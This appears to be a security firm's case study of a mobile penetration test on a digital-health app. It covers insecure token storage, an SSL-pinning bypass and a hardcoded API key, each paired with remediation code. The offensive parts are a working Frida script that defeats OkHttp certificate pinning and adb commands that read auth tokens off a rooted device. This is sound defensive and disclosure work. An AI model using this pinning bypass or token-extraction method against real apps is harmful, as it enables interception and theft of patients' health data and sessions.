Mobile Application Penetration Testing Securing a digital-health flagship (iOS & Android) against insecure PHI storage, SSL-pinning bypass MITM, and hardcoded API keys ahead of a high-profile launch
Project Details
- Client
- Vitalis Health is a fast-growing digital-health startup whose flagship iOS and Android app, VitalisCare, delivers remote patient monitoring, secure clinician messaging, and lab-result delivery for over 240,000 patients across a network of partner clinics
- Industry
- Digital Health / HealthTech
- Company Size
- 80 - 120
- Headquarters
- Boston, Massachusetts
- Project Duration
- 1 month (Apr 2026 - May 2026)
A comprehensive grey-box mobile application penetration test of a digital-health flagship app (VitalisCare, iOS & Android) handling protected health information. The engagement combined static analysis, dynamic instrumentation, and network interception to prove insecure local storage of auth tokens, an SSL-pinning bypass enabling full MITM of PHI traffic, and a hardcoded API key recovered via decompilation — then delivered Keychain/Keystore migration, hardened certificate pinning, and secrets management to achieve HIPAA-aligned launch readiness.
Engagement Classification · TLP:AMBER
Project VitalShield / Mobile PHI Audit
Full-scope grey-box mobile penetration test of a digital-health flagship across iOS and Android. 6 weeks, deep static and dynamic analysis, live API interception, and remediation of PHI-exposing vulnerabilities ahead of a high-profile launch.
A Launch-Blocking Risk in Digital Health
Mobile is where modern healthcare meets the patient — and where protected health information (PHI) leaves the safety of a controlled backend and lands on a device the attacker may physically own. Unlike a server, a mobile binary ships to the adversary: it can be decompiled, instrumented, hooked at runtime, and have its network traffic intercepted on a hostile network.
Vitalis Health engaged us six weeks before the launch of a major VitalisCare release. Their concern was precise and well-founded: could a motivated attacker reverse-engineer the app, extract patient data from local storage, or read sensitive API traffic in transit? Over the engagement we proved that the answer — on the pre-release build — was an unambiguous yes, then closed every gap to a HIPAA-aligned standard before a single patient installed the new version.
Technical Audit Snapshot
4-Phase Mobile Assessment Methodology
We aligned the engagement to the OWASP Mobile Application Security Verification Standard (MASVS), structuring the work across four reinforcing phases spanning the binary, the runtime, the network, and the backend API.
Static Analysis (SAST & Reverse Engineering)
Decompiled the Android APK (jadx, apktool) and inspected the iOS IPA (class-dump, Hopper). Audited the manifest, exported components, embedded strings, and third-party SDKs for hardcoded secrets and insecure defaults.
Dynamic Analysis (Runtime Instrumentation)
Ran the app on rooted Android and jailbroken iOS devices, hooking methods with Frida and Objection to inspect local storage, keychain entries, crypto calls, and runtime behaviour under tampering.
Network Interception (MITM)
Routed device traffic through an intercepting proxy (Burp/mitmproxy), defeated certificate pinning at runtime, and analysed every request/response for sensitive data exposure and transport weaknesses.
API Security Auditing & Remediation
Fuzzed and abused backend endpoints for authorization flaws and PHI leakage, then co-authored Keychain/Keystore migrations, hardened pinning, and a secrets-management strategy — re-testing each fix to confirm closure.
Interactive Methodology Checklist
Tap each control to mark it complete — this is the live MASVS-aligned checklist we worked through on the VitalisCare engagement.
Mobile Architecture & MITM Attack Path
VitalisCare is a native iOS/Android client talking to a REST + GraphQL backend behind an API gateway. The intended transport security relied on TLS with certificate pinning — the exact control we set out to defeat in order to observe PHI in transit.
Pinning Bypass]):::attacker App([VitalisCare Client
iOS / Android]):::device Frida -.runtime hook.-> App App -->|TLS traffic| Proxy{Intercepting Proxy
Burp / mitmproxy}:::proxy Proxy -->|cleartext to attacker| Loot[Captured PHI
+ Auth Tokens]:::attacker Proxy -->|re-encrypted| GW[API Gateway
REST + GraphQL]:::backend GW --> DB[(PHI Datastore)]:::backend
Vulnerability Classification Matrix · OWASP Mobile Top 10 (2024)
Each finding was triaged with CVSS v3.1 and mapped to the OWASP Mobile Top 10 (2024) and the relevant MASVS control group.
Static vs Dynamic Analysis
The same vulnerability often surfaces differently depending on whether you read the binary or watch it run. Toggle between our static and dynamic workflows on the token-storage finding below.
# Decompile the APK and grep for token persistence
apktool d vitaliscare-release.apk -o out/
jadx -d jadx_out vitaliscare-release.apk
$ grep -rni "getSharedPreferences\|putString" jadx_out/sources/ | head
TokenStore.java: prefs = ctx.getSharedPreferences("vc_auth", MODE_PRIVATE);
TokenStore.java: prefs.edit().putString("jwt", token).apply(); # plaintext!
# The JWT is written to an unencrypted XML file on disk:
# /data/data/com.vitalis.care/shared_prefs/vc_auth.xmlStatic review located the exact class and key persisting the auth JWT into plaintext SharedPreferences — no encryption, world-readable on a rooted device.
# Pull the live secrets file straight off a rooted device
$ adb shell run-as com.vitalis.care cat shared_prefs/vc_auth.xml
<string name="jwt">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIi...</string>
# Confirm at runtime with a Frida hook on the setter
frida -U -f com.vitalis.care -l hook_tokenstore.js
[TokenStore.putString] key=jwt value=eyJhbGciOiJ... (PHI scope: read:labs)Dynamic analysis confirmed the finding live: the JWT was readable from disk and observable at runtime, granting an attacker the patient’s PHI-scoped session.
Critical Finding OC-MOB-001 — Insecure Local Storage of Auth Tokens
VitalisCare persisted its session JWT — which carried PHI-read scopes — into unencrypted SharedPreferences on Android and UserDefaults on iOS. On a rooted/jailbroken or backed-up device, the token could be lifted directly off disk and replayed against the API, granting full access to a patient’s records.
Attack Path Sequence
← Swipe horizontally to view full sequence flow →
The Remediation Block (Before vs After)
// JWT stored in UserDefaults — unencrypted plist
func saveToken(_ token: String) {
UserDefaults.standard.set(
token, forKey: "vc_jwt"
)
}
func loadToken() -> String? {
UserDefaults.standard
.string(forKey: "vc_jwt")
}// Store in Keychain, hardware-backed where available
import Security
func saveToken(_ token: String) {
let data = Data(token.utf8)
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: "vc_jwt",
kSecValueData as String: data,
kSecAttrAccessible as String:
kSecAttrAccessibleWhenUnlockedThisDeviceOnly
]
SecItemDelete(query as CFDictionary)
SecItemAdd(query as CFDictionary, nil)
}On Android we migrated from raw SharedPreferences to EncryptedSharedPreferences backed by a Keystore master key, ensuring tokens are encrypted at rest and bound to the device.
// Android — EncryptedSharedPreferences backed by the Android Keystore
val masterKey = MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build()
val securePrefs = EncryptedSharedPreferences.create(
context,
"vc_auth_secure",
masterKey,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
)
securePrefs.edit().putString("jwt", token).apply()
Critical Finding OC-MOB-002 — SSL Pinning Bypass Enabling MITM
VitalisCare implemented certificate pinning to protect PHI in transit — a strong control on paper. However, the pinning logic was enforced purely client-side in code that could be hooked at runtime. Using a Frida script, we neutralised the pinning check on both platforms and routed all traffic through an intercepting proxy, reading and modifying live API requests in cleartext.
MITM Attack Vector
hookable at runtime?} Pin -->|Yes: Frida overrides verify| Bypass[Trust attacker cert]:::vuln Bypass --> Intercept[Proxy reads PHI in cleartext]:::vuln Pin -->|No: native + attestation| Reject[Handshake aborted]:::ok
Frida Pinning-Bypass Script (Proof-of-Concept)
// frida-okhttp-unpin.js — neutralise OkHttp CertificatePinner at runtime
Java.perform(function () {
const CertificatePinner = Java.use('okhttp3.CertificatePinner');
// Force the pinning check to always succeed
CertificatePinner.check.overload(
'java.lang.String', 'java.util.List'
).implementation = function (hostname, peerCertificates) {
console.log('[+] Bypassed pinning for: ' + hostname);
return; // no exception thrown => pin "valid"
};
});
// Run: frida -U -f com.vitalis.care -l frida-okhttp-unpin.js --no-pause
With pinning defeated, the proxy captured a live PHI request in cleartext:
GET /v1/patients/me/labs HTTP/2
Host: api.vitalis.example
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Device-Id: 9F3A-CC21-7741
HTTP/2 200 OK
Content-Type: application/json
{"patientId":"pt_88231","labs":[{"test":"HbA1c","value":"7.9%","date":"2026-05-02"}]}
Hardened Pinning Strategy
We re-architected pinning to combine OS-native enforcement with server-side defence-in-depth, so a single runtime hook can no longer expose PHI.
<!-- Android — declarative Network Security Config (OS-enforced pinning) -->
<network-security-config>
<domain-config>
<domain includeSubdomains="true">api.vitalis.example</domain>
<pin-set expiration="2027-01-01">
<pin digest="SHA-256">k3y0fThePr1maryLeafCert0000000000000000000=</pin>
<pin digest="SHA-256">BackUpP1nF0rR0tati0n00000000000000000000000=</pin>
</pin-set>
</domain-config>
</network-security-config>
Layered controls shipped alongside the config: pinning moved to OS-native APIs (NSPinnedDomains on iOS), runtime integrity/anti-tamper checks (jailbreak & Frida detection) were added, and the backend now enforces short-lived tokens plus device-bound mutual TLS for high-sensitivity PHI endpoints — so even a bypassed client cannot trivially replay traffic.
Critical Finding OC-MOB-003 — Hardcoded API Key via Decompilation
Decompiling the release APK surfaced a third-party analytics/maps API key embedded directly in the compiled source. Because it shipped inside the binary, anyone could extract it in seconds and abuse the client’s quota — and, worse, the key was over-privileged.
Recovery via Static Analysis
# Smali excerpt from the decompiled APK (com/vitalis/care/Config.smali)
.field public static final API_KEY:Ljava/lang/String; =
"AIzaSyB-VitalisProd-3kf9whardcodedKEY8x21q"
# Or trivially, from the raw binary strings:
$ apktool d vitaliscare-release.apk -o out/
$ grep -rni "AIza" out/ # Google-style API key prefix
out/smali/com/vitalis/care/Config.smali: "AIzaSyB-VitalisProd-3kf9w..."
Remediation: Remove Secrets from the Client
The only durable fix is to stop shipping secrets in the binary. We rotated the exposed key immediately, applied strict referrer/package + API restrictions, and moved privileged calls behind the backend so the client never holds a usable secret.
// Secret compiled into the client binary
object Config {
const val API_KEY =
"AIzaSyB-VitalisProd-3kf9w..."
}
val url = "$BASE/geo?key=" + Config.API_KEY// Client holds NO secret — calls our backend,
// which injects the key server-side from a vault.
val res = api.geocode(
GeoRequest(address = q)
) // Authorization: short-lived user token only
// Backend (never shipped to device):
// key = vault.read("maps/api_key")
// upstream.get(".../geo?key=$key")PHI Exposure Risk Score · Before vs After
A quantifiable representation of risk reduction across local storage, transport security, secret exposure, and platform configuration — measured over the six-week engagement.
Systemic Risk Mitigation Velocity
Composite PHI-exposure score across the iOS and Android builds
Live MITM Interception Simulator
Replay a PHI API request through the device. Toggle the pinning state to see the difference between the pre-engagement client (pinning bypassable) and the hardened build (OS-native pinning + mTLS).
Bearer eyJhbGci… + HbA1c 7.9%Quantifiable Business Impact
The engagement converted a launch-blocking risk into a defensible, HIPAA-aligned security posture — closing every PHI-exposure vector before the new release reached a single patient device.
Strategic Takeaways
Securing a mobile app that carries PHI means accepting that the binary, the runtime, and the device are all in the attacker’s hands.
- Treat the device as hostile. Anything stored on disk in cleartext is already compromised on a rooted, jailbroken, or backed-up device. Auth tokens and PHI belong in the Keychain/Keystore, encrypted and device-bound — never in
UserDefaultsor plainSharedPreferences. - Client-side controls buy time, not safety. Certificate pinning and obfuscation raise the cost of attack but can be hooked at runtime. Pair OS-native enforcement with server-side defence-in-depth — short-lived tokens, device-bound mTLS, and anomaly telemetry — so no single client bypass exposes data.
- Secrets do not belong in the binary. Anything compiled into the app will be decompiled and extracted. Route privileged calls through a backend that injects secrets from a vault, and scope every credential to the minimum it needs.
Ready to secure your architecture?
Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.
System Schema & Architecture
Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.
Hear it straight from Vitalis Health
“"We were weeks from our biggest launch, with payer partners and clinicians depending on us to protect highly sensitive patient data. Antigravity reverse-engineered our app, pulled auth tokens straight off a rooted device, bypassed our SSL pinning to read live API traffic, and recovered an API key we thought was safely buried in the binary. Every finding came with working proof and a precise, production-ready fix. They turned a launch-blocking risk into a HIPAA-aligned security story we now tell with confidence."
Webster Herzog
Co-Founder & CTO at Vitalis Health
AI & Machine Learning Pentesting
Hardening autonomous LLM agents against jailbreaks, prompt injection, and RAG leakage using the OpenClaw framework
API Penetration Testing
Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint